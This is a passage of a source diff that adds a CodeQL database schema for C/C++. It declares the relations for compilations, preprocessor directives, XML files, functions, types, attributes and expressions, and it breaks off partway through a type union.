+stmt_decl_entry_bind( + int stmt: @stmt_decl ref, + int num: int ref, + int decl_entry: @element ref +); + +@parameterized_element = @function | @stmt_block | @requires_expr; + +blockscope( + unique int block: @stmt_block ref, + int enclosing: @parameterized_element ref +); + +@jump = @stmt_goto | @stmt_break | @stmt_continue; + +@jumporlabel = @jump | @stmt_label | @literal; + +jumpinfo( + unique int id: @jumporlabel ref, + string str: string ref, + int target: @stmt ref +); + +preprocdirects( + unique int id: @preprocdirect, + int kind: int ref, + int location: @location_default ref +); +case @preprocdirect.kind of + 0 = @ppd_if +| 1 = @ppd_ifdef +| 2 = @ppd_ifndef +| 3 = @ppd_elif +| 4 = @ppd_else +| 5 = @ppd_endif +| 6 = @ppd_plain_include +| 7 = @ppd_define +| 8 = @ppd_undef +| 9 = @ppd_line +| 10 = @ppd_error +| 11 = @ppd_pragma +| 12 = @ppd_objc_import +| 13 = @ppd_include_next +| 14 = @ppd_ms_import +| 15 = @ppd_elifdef +| 16 = @ppd_elifndef +| 18 = @ppd_warning +; + +@ppd_include = @ppd_plain_include | @ppd_objc_import | @ppd_include_next | @ppd_ms_import; + +@ppd_branch = @ppd_if | @ppd_ifdef | @ppd_ifndef | @ppd_elif | @ppd_elifdef | @ppd_elifndef; + +preprocpair( + int begin : @ppd_branch ref, + int elseelifend : @preprocdirect ref +); + +preproctrue(int branch : @ppd_branch ref); +preprocfalse(int branch : @ppd_branch ref); + +preproctext( + unique int id: @preprocdirect ref, + string head: string ref, + string body: string ref +); + +includes( + unique int id: @ppd_include ref, + int included: @file ref +); + +link_targets( + int id: @link_target, + int binary: @file ref +); + +link_parent( + int element : @element ref, + int link_target : @link_target ref +); + +/* XML Files */ + +xmlEncoding(unique int id: @file ref, string encoding: string ref); + +xmlDTDs( + unique int id: @xmldtd, + string root: string ref, + string publicId: string ref, + string systemId: string ref, + int fileid: @file ref +); + +xmlElements( + unique int id: @xmlelement, + string name: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int fileid: @file ref +); + +xmlAttrs( + unique int id: @xmlattribute, + int elementid: @xmlelement ref, + string name: string ref, + string value: string ref, + int idx: int ref, + int fileid: @file ref +); + +xmlNs( + int id: @xmlnamespace, + string prefixName: string ref, + string URI: string ref, + int fileid: @file ref +); + +xmlHasNs( + int elementId: @xmlnamespaceable ref, + int nsId: @xmlnamespace ref, + int fileid: @file ref +); + +xmlComments( + unique int id: @xmlcomment, + string text: string ref, + int parentid: @xmlparent ref, + int fileid: @file ref +); + +xmlChars( + unique int id: @xmlcharacters, + string text: string ref, + int parentid: @xmlparent ref, + int idx: int ref, + int isCDATA: int ref, + int fileid: @file ref +); + +@xmlparent = @file | @xmlelement; +@xmlnamespaceable = @xmlelement | @xmlattribute; + +xmllocations( + int xmlElement: @xmllocatable ref, + int location: @location_default ref +); + +@xmllocatable = @xmlcharacters + | @xmlelement + | @xmlcomment + | @xmlattribute + | @xmldtd + | @file + | @xmlnamespace; diff --git a/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme new file mode 100644 index 00000000000..af887e83a81 --- /dev/null +++ b/cpp/ql/lib/upgrades/9a7c3c14c1076f64b871719117a558733d987b48/semmlecode.cpp.dbscheme @@ -0,0 +1,2492 @@ + +/** + * An invocation of the compiler. Note that more than one file may be + * compiled per invocation. For example, this command compiles three + * source files: + * + * gcc -c f1.c f2.c f3.c + * + * The `id` simply identifies the invocation, while `cwd` is the working + * directory from which the compiler was invoked. + */ +compilations( + /** + * An invocation of the compiler. Note that more than one file may + * be compiled per invocation. For example, this command compiles + * three source files: + * + * gcc -c f1.c f2.c f3.c + */ + unique int id : @compilation, + string cwd : string ref +); + +/** + * The arguments that were passed to the extractor for a compiler + * invocation. If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then typically there will be rows for + * + * num | arg + * --- | --- + * 0 | *path to extractor* + * 1 | `--mimic` + * 2 | `/usr/bin/gcc` + * 3 | `-c` + * 4 | f1.c + * 5 | f2.c + * 6 | f3.c + */ +#keyset[id, num] +compilation_args( + int id : @compilation ref, + int num : int ref, + string arg : string ref +); + +/** + * Optionally, record the build mode for each compilation. + */ +compilation_build_mode( + unique int id : @compilation ref, + int mode : int ref +); + +/* +case @compilation_build_mode.mode of + 0 = @build_mode_none +| 1 = @build_mode_manual +| 2 = @build_mode_auto +; +*/ + +/** + * The source files that are compiled by a compiler invocation. + * If `id` is for the compiler invocation + * + * gcc -c f1.c f2.c f3.c + * + * then there will be rows for + * + * num | arg + * --- | --- + * 0 | f1.c + * 1 | f2.c + * 2 | f3.c + * + * Note that even if those files `#include` headers, those headers + * do not appear as rows. + */ +#keyset[id, num] +compilation_compiling_files( + int id : @compilation ref, + int num : int ref, + int file : @file ref +); + +/** + * The time taken by the extractor for a compiler invocation. + * + * For each file `num`, there will be rows for + * + * kind | seconds + * ---- | --- + * 1 | CPU seconds used by the extractor frontend + * 2 | Elapsed seconds during the extractor frontend + * 3 | CPU seconds used by the extractor backend + * 4 | Elapsed seconds during the extractor backend + */ +#keyset[id, num, kind] +compilation_time( + int id : @compilation ref, + int num : int ref, + /* kind: + 1 = frontend_cpu_seconds + 2 = frontend_elapsed_seconds + 3 = extractor_cpu_seconds + 4 = extractor_elapsed_seconds + */ + int kind : int ref, + float seconds : float ref +); + +/** + * An error or warning generated by the extractor. + * The diagnostic message `diagnostic` was generated during compiler + * invocation `compilation`, and is the `file_number_diagnostic_number`th + * message generated while extracting the `file_number`th file of that + * invocation. + */ +#keyset[compilation, file_number, file_number_diagnostic_number] +diagnostic_for( + int diagnostic : @diagnostic ref, + int compilation : @compilation ref, + int file_number : int ref, + int file_number_diagnostic_number : int ref +); + +/** + * If extraction was successful, then `cpu_seconds` and + * `elapsed_seconds` are the CPU time and elapsed time (respectively) + * that extraction took for compiler invocation `id`. + */ +compilation_finished( + unique int id : @compilation ref, + float cpu_seconds : float ref, + float elapsed_seconds : float ref +); + + +/** + * External data, loaded from CSV files during snapshot creation. See + * [Tutorial: Incorporating external data](https://help.semmle.com/wiki/display/SD/Tutorial%3A+Incorporating+external+data) + * for more information. + */ +externalData( + int id : @externalDataElement, + string path : string ref, + int column: int ref, + string value : string ref +); + +/** + * The source location of the snapshot. + */ +sourceLocationPrefix(string prefix : string ref); + +/** + * Information about packages that provide code used during compilation. + * The `id` is just a unique identifier. + * The `namespace` is typically the name of the package manager that + * provided the package (e.g. "dpkg" or "yum"). + * The `package_name` is the name of the package, and `version` is its + * version (as a string). + */ +external_packages( + unique int id: @external_package, + string namespace : string ref, + string package_name : string ref, + string version : string ref +); + +/** + * Holds if File `fileid` was provided by package `package`. + */ +header_to_external_package( + int fileid : @file ref, + int package : @external_package ref +); + +/* + * Version history + */ + +svnentries( + unique int id : @svnentry, + string revision : string ref, + string author : string ref, + date revisionDate : date ref, + int changeSize : int ref +) + +svnaffectedfiles( + int id : @svnentry ref, + int file : @file ref, + string action : string ref +) + +svnentrymsg( + unique int id : @svnentry ref, + string message : string ref +) + +svnchurn( + int commit : @svnentry ref, + int file : @file ref, + int addedLines : int ref, + int deletedLines : int ref +) + +/* + * C++ dbscheme + */ + +extractor_version( + string codeql_version: string ref, + string frontend_version: string ref +) + +@location = @location_stmt | @location_expr | @location_default ; + +/** + * The location of an element that is not an expression or a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_default( + /** The location of an element that is not an expression or a statement. */ + unique int id: @location_default, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of a statement. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_stmt( + /** The location of a statement. */ + unique int id: @location_stmt, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** + * The location of an expression. + * The location spans column `startcolumn` of line `startline` to + * column `endcolumn` of line `endline` in file `file`. + * For more information, see + * [Locations](https://codeql.github.com/docs/writing-codeql-queries/providing-locations-in-codeql-queries/). + */ +locations_expr( + /** The location of an expression. */ + unique int id: @location_expr, + int container: @container ref, + int startLine: int ref, + int startColumn: int ref, + int endLine: int ref, + int endColumn: int ref +); + +/** An element for which line-count information is available. */ +@sourceline = @file | @function | @variable | @enumconstant | @xmllocatable; + +numlines( + int element_id: @sourceline ref, + int num_lines: int ref, + int num_code: int ref, + int num_comment: int ref +); + +diagnostics( + unique int id: @diagnostic, + int severity: int ref, + string error_tag: string ref, + string error_message: string ref, + string full_error_message: string ref, + int location: @location_default ref +); + +files( + unique int id: @file, + string name: string ref +); + +folders( + unique int id: @folder, + string name: string ref +); + +@container = @folder | @file + +containerparent( + int parent: @container ref, + unique int child: @container ref +); + +fileannotations( + int id: @file ref, + int kind: int ref, + string name: string ref, + string value: string ref +); + +inmacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +affectedbymacroexpansion( + int id: @element ref, + int inv: @macroinvocation ref +); + +case @macroinvocation.kind of + 1 = @macro_expansion +| 2 = @other_macro_reference +; + +macroinvocations( + unique int id: @macroinvocation, + int macro_id: @ppd_define ref, + int location: @location_default ref, + int kind: int ref +); + +macroparent( + unique int id: @macroinvocation ref, + int parent_id: @macroinvocation ref +); + +// a macroinvocation may be part of another location +// the way to find a constant expression that uses a macro +// is thus to find a constant expression that has a location +// to which a macro invocation is bound +macrolocationbind( + int id: @macroinvocation ref, + int location: @location ref +); + +#keyset[invocation, argument_index] +macro_argument_unexpanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +#keyset[invocation, argument_index] +macro_argument_expanded( + int invocation: @macroinvocation ref, + int argument_index: int ref, + string text: string ref +); + +/* +case @function.kind of + 1 = @normal_function +| 2 = @constructor +| 3 = @destructor +| 4 = @conversion_function +| 5 = @operator +| 6 = @builtin_function // GCC built-in functions, e.g. __builtin___memcpy_chk +| 7 = @user_defined_literal +| 8 = @deduction_guide +; +*/ + +functions( + unique int id: @function, + string name: string ref, + int kind: int ref +); + +function_entry_point( + int id: @function ref, + unique int entry_point: @stmt ref +); + +function_return_type( + int id: @function ref, + int return_type: @type ref +); + +/** + * If `function` is a coroutine, then this gives the `std::experimental::resumable_traits` + * instance associated with it, and the variables representing the `handle` and `promise` + * for it. + */ +coroutine( + unique int function: @function ref, + int traits: @type ref +); + +/* +case @coroutine_placeholder_variable.kind of + 1 = @handle +| 2 = @promise +| 3 = @init_await_resume +; +*/ + +coroutine_placeholder_variable( + unique int placeholder_variable: @variable ref, + int kind: int ref, + int function: @function ref +) + +/** The `new` function used for allocating the coroutine state, if any. */ +coroutine_new( + unique int function: @function ref, + int new: @function ref +); + +/** The `delete` function used for deallocating the coroutine state, if any. */ +coroutine_delete( + unique int function: @function ref, + int delete: @function ref +); + +purefunctions(unique int id: @function ref); + +function_deleted(unique int id: @function ref); + +function_defaulted(unique int id: @function ref); + +function_prototyped(unique int id: @function ref) + +deduction_guide_for_class( + int id: @function ref, + int class_template: @usertype ref +) + +member_function_this_type( + unique int id: @function ref, + int this_type: @type ref +); + +#keyset[id, type_id] +fun_decls( + int id: @fun_decl, + int function: @function ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +fun_def(unique int id: @fun_decl ref); +fun_specialized(unique int id: @fun_decl ref); +fun_implicit(unique int id: @fun_decl ref); +fun_decl_specifiers( + int id: @fun_decl ref, + string name: string ref +) +#keyset[fun_decl, index] +fun_decl_throws( + int fun_decl: @fun_decl ref, + int index: int ref, + int type_id: @type ref +); +/* an empty throw specification is different from none */ +fun_decl_empty_throws(unique int fun_decl: @fun_decl ref); +fun_decl_noexcept( + int fun_decl: @fun_decl ref, + int constant: @expr ref +); +fun_decl_empty_noexcept(int fun_decl: @fun_decl ref); +fun_decl_typedef_type( + unique int fun_decl: @fun_decl ref, + int typedeftype_id: @usertype ref +); + +/* +case @fun_requires.kind of + 1 = @template_attached +| 2 = @function_attached +; +*/ + +fun_requires( + int id: @fun_decl ref, + int kind: int ref, + int constraint: @expr ref +); + +param_decl_bind( + unique int id: @var_decl ref, + int index: int ref, + int fun_decl: @fun_decl ref +); + +#keyset[id, type_id] +var_decls( + int id: @var_decl, + int variable: @variable ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); +var_def(unique int id: @var_decl ref); +var_specialized(int id: @var_decl ref); +var_decl_specifiers( + int id: @var_decl ref, + string name: string ref +) +is_structured_binding(unique int id: @variable ref); +var_requires( + int id: @var_decl ref, + int constraint: @expr ref +); + +type_decls( + unique int id: @type_decl, + int type_id: @type ref, + int location: @location_default ref +); +type_def(unique int id: @type_decl ref); +type_decl_top( + unique int type_decl: @type_decl ref +); +type_requires( + int id: @type_decl ref, + int constraint: @expr ref +); + +namespace_decls( + unique int id: @namespace_decl, + int namespace_id: @namespace ref, + int location: @location_default ref, + int bodylocation: @location_default ref +); + +case @using.kind of + 1 = @using_declaration +| 2 = @using_directive +| 3 = @using_enum_declaration +; + +usings( + unique int id: @using, + int element_id: @element ref, + int location: @location_default ref, + int kind: int ref +); + +/** The element which contains the `using` declaration. */ +using_container( + int parent: @element ref, + int child: @using ref +); + +static_asserts( + unique int id: @static_assert, + int condition : @expr ref, + string message : string ref, + int location: @location_default ref, + int enclosing : @element ref +); + +// each function has an ordered list of parameters +#keyset[id, type_id] +#keyset[function, index, type_id] +params( + int id: @parameter, + int function: @parameterized_element ref, + int index: int ref, + int type_id: @type ref +); + +overrides( + int new: @function ref, + int old: @function ref +); + +#keyset[id, type_id] +membervariables( + int id: @membervariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +globalvariables( + int id: @globalvariable, + int type_id: @type ref, + string name: string ref +); + +#keyset[id, type_id] +localvariables( + int id: @localvariable, + int type_id: @type ref, + string name: string ref +); + +autoderivation( + unique int var: @variable ref, + int derivation_type: @type ref +); + +orphaned_variables( + int var: @localvariable ref, + int function: @function ref +) + +enumconstants( + unique int id: @enumconstant, + int parent: @usertype ref, + int index: int ref, + int type_id: @type ref, + string name: string ref, + int location: @location_default ref +); + +@variable = @localscopevariable | @globalvariable | @membervariable; + +@localscopevariable = @localvariable | @parameter; + +/** + * Built-in types are the fundamental types, e.g., integral, floating, and void. + */ +case @builtintype.kind of + 1 = @errortype +| 2 = @unknowntype +| 3 = @void +| 4 = @boolean +| 5 = @char +| 6 = @unsigned_char +| 7 = @signed_char +| 8 = @short +| 9 = @unsigned_short +| 10 = @signed_short +| 11 = @int +| 12 = @unsigned_int +| 13 = @signed_int +| 14 = @long +| 15 = @unsigned_long +| 16 = @signed_long +| 17 = @long_long +| 18 = @unsigned_long_long +| 19 = @signed_long_long +// ... 20 Microsoft-specific __int8 +// ... 21 Microsoft-specific __int16 +// ... 22 Microsoft-specific __int32 +// ... 23 Microsoft-specific __int64 +| 24 = @float +| 25 = @double +| 26 = @long_double +| 27 = @complex_float // C99-specific _Complex float +| 28 = @complex_double // C99-specific _Complex double +| 29 = @complex_long_double // C99-specific _Complex long double +| 30 = @imaginary_float // C99-specific _Imaginary float +| 31 = @imaginary_double // C99-specific _Imaginary double +| 32 = @imaginary_long_double // C99-specific _Imaginary long double +| 33 = @wchar_t // Microsoft-specific +| 34 = @decltype_nullptr // C++11 +| 35 = @int128 // __int128 +| 36 = @unsigned_int128 // unsigned __int128 +| 37 = @signed_int128 // signed __int128 +| 38 = @float128 // __float128 +| 39 = @complex_float128 // _Complex __float128 +| 40 = @decimal32 // _Decimal32 +| 41 = @decimal64 // _Decimal64 +| 42 = @decimal128 // _Decimal128 +| 43 = @char16_t +| 44 = @char32_t +| 45 = @std_float32 // _Float32 +| 46 = @float32x // _Float32x +| 47 = @std_float64 // _Float64 +| 48 = @float64x // _Float64x +| 49 = @std_float128 // _Float128 +// ... 50 _Float128x +| 51 = @char8_t +| 52 = @float16 // _Float16 +| 53 = @complex_float16 // _Complex _Float16 +| 54 = @fp16 // __fp16 +| 55 = @std_bfloat16 // __bf16 +| 56 = @std_float16 // std::float16_t +| 57 = @complex_std_float32 // _Complex _Float32 +| 58 = @complex_float32x // _Complex _Float32x +| 59 = @complex_std_float64 // _Complex _Float64 +| 60 = @complex_float64x // _Complex _Float64x +| 61 = @complex_std_float128 // _Complex _Float128 +| 62 = @mfp8 // __mfp8 +; + +builtintypes( + unique int id: @builtintype, + string name: string ref, + int kind: int ref, + int size: int ref, + int sign: int ref, + int alignment: int ref +); + +/** + * Derived types are types that are directly derived from existing types and + * point to, refer to, transform type data to return a new type. + */ +case @derivedtype.kind of + 1 = @pointer +| 2 = @reference +| 3 = @type_with_specifiers +| 4 = @array +| 5 = @gnu_vector +| 6 = @routineptr +| 7 = @routinereference +| 8 = @rvalue_reference // C++11 +// ... 9 type_conforming_to_protocols deprecated +| 10 = @block +; + +derivedtypes( + unique int id: @derivedtype, + string name: string ref, + int kind: int ref, + int type_id: @type ref +); + +pointerishsize(unique int id: @derivedtype ref, + int size: int ref, + int alignment: int ref); + +arraysizes( + unique int id: @derivedtype ref, + int num_elements: int ref, + int bytesize: int ref, + int alignment: int ref +); + +typedefbase( + unique int id: @usertype ref, + int type_id: @type ref +); + +/** + * An instance of the C++11 `decltype` operator or C23 `typeof`/`typeof_unqual` + * operator taking an expression as its argument. For example: + * ``` + * int a; + * decltype(1+a) b; + * typeof(1+a) c; + * ``` + * Here `expr` is `1+a`. + * + * Sometimes an additional pair of parentheses around the expression + * changes the semantics of the decltype, e.g. + * ``` + * struct A { double x; }; + * const A* a = new A(); + * decltype( a->x ); // type is double + * decltype((a->x)); // type is const double& + * ``` + * (Please consult the C++11 standard for more details). + * `parentheses_would_change_meaning` is `true` iff that is the case. + */ + +/* +case @decltype.kind of +| 0 = @decltype +| 1 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +; +*/ + +#keyset[id, expr] +decltypes( + int id: @decltype, + int expr: @expr ref, + int kind: int ref, + int base_type: @type ref, + boolean parentheses_would_change_meaning: boolean ref +); + +/* +case @type_operator.kind of +| 0 = @typeof // The frontend does not differentiate between typeof and typeof_unqual +| 1 = @underlying_type +| 2 = @bases +| 3 = @direct_bases +| 4 = @add_lvalue_reference +| 5 = @add_pointer +| 6 = @add_rvalue_reference +| 7 = @decay +| 8 = @make_signed +| 9 = @make_unsigned +| 10 = @remove_all_extents +| 11 = @remove_const +| 12 = @remove_cv +| 13 = @remove_cvref +| 14 = @remove_extent +| 15 = @remove_pointer +| 16 = @remove_reference_t +| 17 = @remove_restrict +| 18 = @remove_volatile +| 19 = @remove_reference +; +*/ + +type_operators( + unique int id: @type_operator, + int arg_type: @type ref, + int kind: int ref, + int base_type: @type ref +) + +/* +case @usertype.kind of +| 0 = @unknown_usertype +| 1 = @struct +| 2 = @class +| 3 = @union +| 4 = @enum +// ... 5 = @typedef deprecated // classic C: typedef typedef type name +// ... 6 = @template deprecated +| 7 = @template_parameter +| 8 = @template_template_parameter +| 9 = @proxy_class // a proxy class associated with a template parameter +// ... 10 objc_class deprecated +// ... 11 objc_protocol deprecated +// ... 12 objc_category deprecated +| 13 = @scoped_enum +// ... 14 = @using_alias deprecated // a using name = type style typedef +| 15 = @template_struct +| 16 = @template_class +| 17 = @template_union +| 18 = @alias +; +*/ + +usertypes( + unique int id: @usertype, + string name: string ref, + int kind: int ref +); + +usertypesize( + unique int id: @usertype ref, + int size: int ref, + int alignment: int ref +); + +usertype_final(unique int id: @usertype ref); + +usertype_uuid( + unique int id: @usertype ref, + string uuid: string ref +); + +/* +case @usertype.alias_kind of +| 0 = @typedef +| 1 = @alias +*/ + +usertype_alias_kind( + int id: @usertype ref, + int alias_kind: int ref +) + +nontype_template_parameters( + int id: @expr ref +); + +type_template_type_constraint( + int id: @usertype ref, + int constraint: @expr ref +); + +mangled_name( + unique int id: @declaration ref, + int mangled_name : @mangledname, + boolean is_complete: boolean ref +); + +is_pod_class(unique int id: @usertype ref); +is_standard_layout_class(unique int id: @usertype ref); + +is_complete(unique int id: @usertype ref); + +is_class_template(unique int id: @usertype ref); +class_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +class_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +class_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@user_or_decltype = @usertype | @decltype; + +is_proxy_class_for( + unique int id: @usertype ref, + int templ_param_id: @user_or_decltype ref +); + +type_mentions( + unique int id: @type_mention, + int type_id: @type ref, + int location: @location ref, + // a_symbol_reference_kind from the frontend. + int kind: int ref +); + +is_function_template(unique int id: @function ref); +function_instantiation( + unique int to: @function ref, + int from: @function ref +); +function_template_argument( + int function_id: @function ref, + int index: int ref, + int arg_type: @type ref +); +function_template_argument_value( + int function_id: @function ref, + int index: int ref, + int arg_value: @expr ref +); + +is_variable_template(unique int id: @variable ref); +variable_instantiation( + unique int to: @variable ref, + int from: @variable ref +); +variable_template_argument( + int variable_id: @variable ref, + int index: int ref, + int arg_type: @type ref +); +variable_template_argument_value( + int variable_id: @variable ref, + int index: int ref, + int arg_value: @expr ref +); + +template_template_instantiation( + int to: @usertype ref, + int from: @usertype ref +); +template_template_argument( + int type_id: @usertype ref, + int index: int ref, + int arg_type: @type ref +); +template_template_argument_value( + int type_id: @usertype ref, + int index: int ref, + int arg_value: @expr ref +); + +@concept = @concept_template | @concept_id; + +concept_templates( + unique int concept_id: @concept_template, + string name: string ref, + int location: @location_default ref +); +concept_instantiation( + unique int to: @concept_id ref, + int from: @concept_template ref +); +is_type_constraint(int concept_id: @concept_id ref); +concept_template_argument( + int concept_id: @concept ref, + int index: int ref, + int arg_type: @type ref +); +concept_template_argument_value( + int concept_id: @concept ref, + int index: int ref, + int arg_value: @expr ref +); + +routinetypes( + unique int id: @routinetype, + int return_type: @type ref +); + +routinetypeargs( + int routine: @routinetype ref, + int index: int ref, + int type_id: @type ref +); + +ptrtomembers( + unique int id: @ptrtomember, + int type_id: @type ref, + int class_id: @type ref +); + +/* + specifiers for types, functions, and variables + + "public", + "protected", + "private", + + "const", + "volatile", + "static", + + "pure", + "virtual", + "sealed", // Microsoft + "__interface", // Microsoft + "inline", + "explicit", + + "near", // near far extension + "far", // near far extension + "__ptr32", // Microsoft + "__ptr64", // Microsoft + "__sptr", // Microsoft + "__uptr", // Microsoft + "dllimport", // Microsoft + "dllexport", // Microsoft + "thread", // Microsoft + "naked", // Microsoft + "microsoft_inline", // Microsoft + "forceinline", // Microsoft + "selectany", // Microsoft + "nothrow", // Microsoft + "novtable", // Microsoft + "noreturn", // Microsoft + "noinline", // Microsoft + "noalias", // Microsoft + "restrict", // Microsoft +*/ + +specifiers( + unique int id: @specifier, + unique string str: string ref +); + +typespecifiers( + int type_id: @type ref, + int spec_id: @specifier ref +); + +funspecifiers( + int func_id: @function ref, + int spec_id: @specifier ref +); + +varspecifiers( + int var_id: @accessible ref, + int spec_id: @specifier ref +); + +explicit_specifier_exprs( + unique int func_id: @function ref, + int constant: @expr ref +) + +attributes( + unique int id: @attribute, + int kind: int ref, + string name: string ref, + string name_space: string ref, + int location: @location_default ref +); + +case @attribute.kind of + 0 = @gnuattribute +| 1 = @stdattribute +| 2 = @declspec +| 3 = @msattribute +| 4 = @alignas +// ... 5 @objc_propertyattribute deprecated +; + +attribute_args( + unique int id: @attribute_arg, + int kind: int ref, + int attribute: @attribute ref, + int index: int ref, + int location: @location_default ref +); + +case @attribute_arg.kind of + 0 = @attribute_arg_empty +| 1 = @attribute_arg_token +| 2 = @attribute_arg_constant +| 3 = @attribute_arg_type +| 4 = @attribute_arg_constant_expr +| 5 = @attribute_arg_expr +; + +attribute_arg_value( + unique int arg: @attribute_arg ref, + string value: string ref +); +attribute_arg_type( + unique int arg: @attribute_arg ref, + int type_id: @type ref +); +attribute_arg_constant( + unique int arg: @attribute_arg ref, + int constant: @expr ref +) +attribute_arg_expr( + unique int arg: @attribute_arg ref, + int expr: @expr ref +) +attribute_arg_name( + unique int arg: @attribute_arg ref, + string name: string ref +); + +typeattributes( + int type_id: @type ref, + int spec_id: @attribute ref +); + +funcattributes( + int func_id: @function ref, + int spec_id: @attribute ref +); + +varattributes( + int var_id: @accessible ref, + int spec_id: @attribute ref +); + +stmtattributes( + int stmt_id: @stmt ref, + int spec_id: @attribute ref +); + +@type = @builtintype + | @derivedtype + | @usertype + | @routinetype + | @ptrtomember + | @decltype + | @type_operator; + +unspecifiedtype( + unique int type_id: @type ref, + int unspecified_type_id: @type ref +); + +member( + int parent: @type ref, + int index: int ref, + int child: @member ref +); + +@enclosingfunction_child = @usertype | @variable | @namespace + +enclosingfunction( + unique int child: @enclosingfunction_child ref, + int parent: @function ref +); + +derivations( + unique int derivation: @derivation, + int sub: @type ref, + int index: int ref, + int super: @type ref, + int location: @location_default ref +); + +derspecifiers( + int der_id: @derivation ref, + int spec_id: @specifier ref +); + +/** + * Contains the byte offset of the base class subobject within the derived + * class. Only holds for non-virtual base classes, but see table + * `virtual_base_offsets` for offsets of virtual base class subobjects. + */ +direct_base_offsets( + unique int der_id: @derivation ref, + int offset: int ref +); + +/** + * Contains the byte offset of the virtual base class subobject for class + * `super` within a most-derived object of class `sub`. `super` can be either a + * direct or indirect base class. + */ +#keyset[sub, super] +virtual_base_offsets( + int sub: @usertype ref, + int super: @usertype ref, + int offset: int ref +); + +frienddecls( + unique int id: @frienddecl, + int type_id: @type ref, + int decl_id: @declaration ref, + int location: @location_default ref +); + +@declaredtype = @usertype ; + +@declaration = @function + | @declaredtype + | @variable + | @enumconstant + | @frienddecl + | @concept_template; + +@member = @membervariable + | @function + | @declaredtype + | @enumconstant; + +@locatable = @diagnostic + | @declaration + | @ppd_include + | @ppd_define + | @macroinvocation + /*| @funcall*/ + | @xmllocatable + | @attribute + | @attribute_arg; + +@namedscope = @namespace | @usertype; + +@element = @locatable + | @file + | @folder + | @specifier + | @type + | @expr + | @namespace + | @initialiser + | @stmt + | @derivation + | @comment + | @preprocdirect + | @fun_decl + | @var_decl + | @type_decl + | @namespace_decl + | @using + | @namequalifier + | @specialnamequalifyingelement + | @static_assert + | @type_mention + | @lambdacapture; + +@exprparent = @element; + +comments( + unique int id: @comment, + string contents: string ref, + int location: @location_default ref +); + +commentbinding( + int id: @comment ref, + int element: @element ref +); + +exprconv( + int converted: @expr ref, + unique int conversion: @expr ref +); + +compgenerated(unique int id: @element ref); + +/** + * `destructor_call` destructs the `i`'th entity that should be + * destructed following `element`. Note that entities should be + * destructed in reverse construction order, so for a given `element` + * these should be called from highest to lowest `i`. + */ +#keyset[element, destructor_call] +#keyset[element, i] +synthetic_destructor_call( + int element: @element ref, + int i: int ref, + int destructor_call: @routineexpr ref +); + +namespaces( + unique int id: @namespace, + string name: string ref +); + +namespace_inline( + unique int id: @namespace ref +); + +namespacembrs( + int parentid: @namespace ref, + unique int memberid: @namespacembr ref +); + +@namespacembr = @declaration | @namespace; + +exprparents( + int expr_id: @expr ref, + int child_index: int ref, + int parent_id: @exprparent ref +); + +expr_isload(unique int expr_id: @expr ref); + +@cast = @c_style_cast + | @const_cast + | @dynamic_cast + | @reinterpret_cast + | @static_cast + ; + +/* +case @conversion.kind of + 0 = @simple_conversion // a numeric conversion, qualification conversion, or a reinterpret_cast +| 1 = @bool_conversion // conversion to 'bool' +| 2 = @base_class_conversion // a derived-to-base conversion +| 3 = @derived_class_conversion // a base-to-derived conversion +| 4 = @pm_base_class_conversion // a derived-to-base conversion of a pointer to member +| 5 = @pm_derived_class_conversion // a base-to-derived conversion of a pointer to member +| 6 = @glvalue_adjust // an adjustment of the type of a glvalue +| 7 = @prvalue_adjust // an adjustment of the type of a prvalue +; +*/ +/** + * Describes the semantics represented by a cast expression. This is largely + * independent of the source syntax of the cast, so it is separate from the + * regular expression kind. + */ +conversionkinds( + unique int expr_id: @cast ref, + int kind: int ref +); + +@conversion = @cast + | @array_to_pointer + | @parexpr + | @reference_to + | @ref_indirect + | @temp_init + | @c11_generic + ; + +/* +case @funbindexpr.kind of + 0 = @normal_call // a normal call +| 1 = @virtual_call // a virtual call +| 2 = @adl_call // a call whose target is only found by ADL +; +*/ +iscall( + unique int caller: @funbindexpr ref, + int kind: int ref +); + +numtemplatearguments( + unique int expr_id: @expr ref, + int num: int ref +); + +specialnamequalifyingelements( + unique int id: @specialnamequalifyingelement, + unique string name: string ref +); + +@namequalifiableelement = @expr | @namequalifier; +@namequalifyingelement = @namespace + | @specialnamequalifyingelement + | @usertype; + +namequalifiers( + unique int id: @namequalifier, + unique int qualifiableelement: @namequalifiableelement ref, + int qualifyingelement: @namequalifyingelement ref, + int location: @location_default ref +); + +varbind( + int expr: @varbindexpr ref, + int var: @accessible ref +); + +funbind( + int expr: @funbindexpr ref, + int fun: @function ref +); + +@any_new_expr = @new_expr + | @new_array_expr; + +@new_or_delete_expr = @any_new_expr + | @delete_expr + | @delete_array_expr; + +@prefix_crement_expr = @preincrexpr | @predecrexpr; + +@postfix_crement_expr = @postincrexpr | @postdecrexpr; + +@increment_expr = @preincrexpr | @postincrexpr; + +@decrement_expr = @predecrexpr | @postdecrexpr; + +@crement_expr = @increment_expr | @decrement_expr; + +@un_arith_op_expr = @arithnegexpr + | @unaryplusexpr + | @conjugation + | @realpartexpr + | @imagpartexpr + | @crement_expr + ; + +@un_bitwise_op_expr = @complementexpr; + +@un_log_op_expr = @notexpr; + +@un_op_expr = @address_of + | @indirect + | @un_arith_op_expr + | 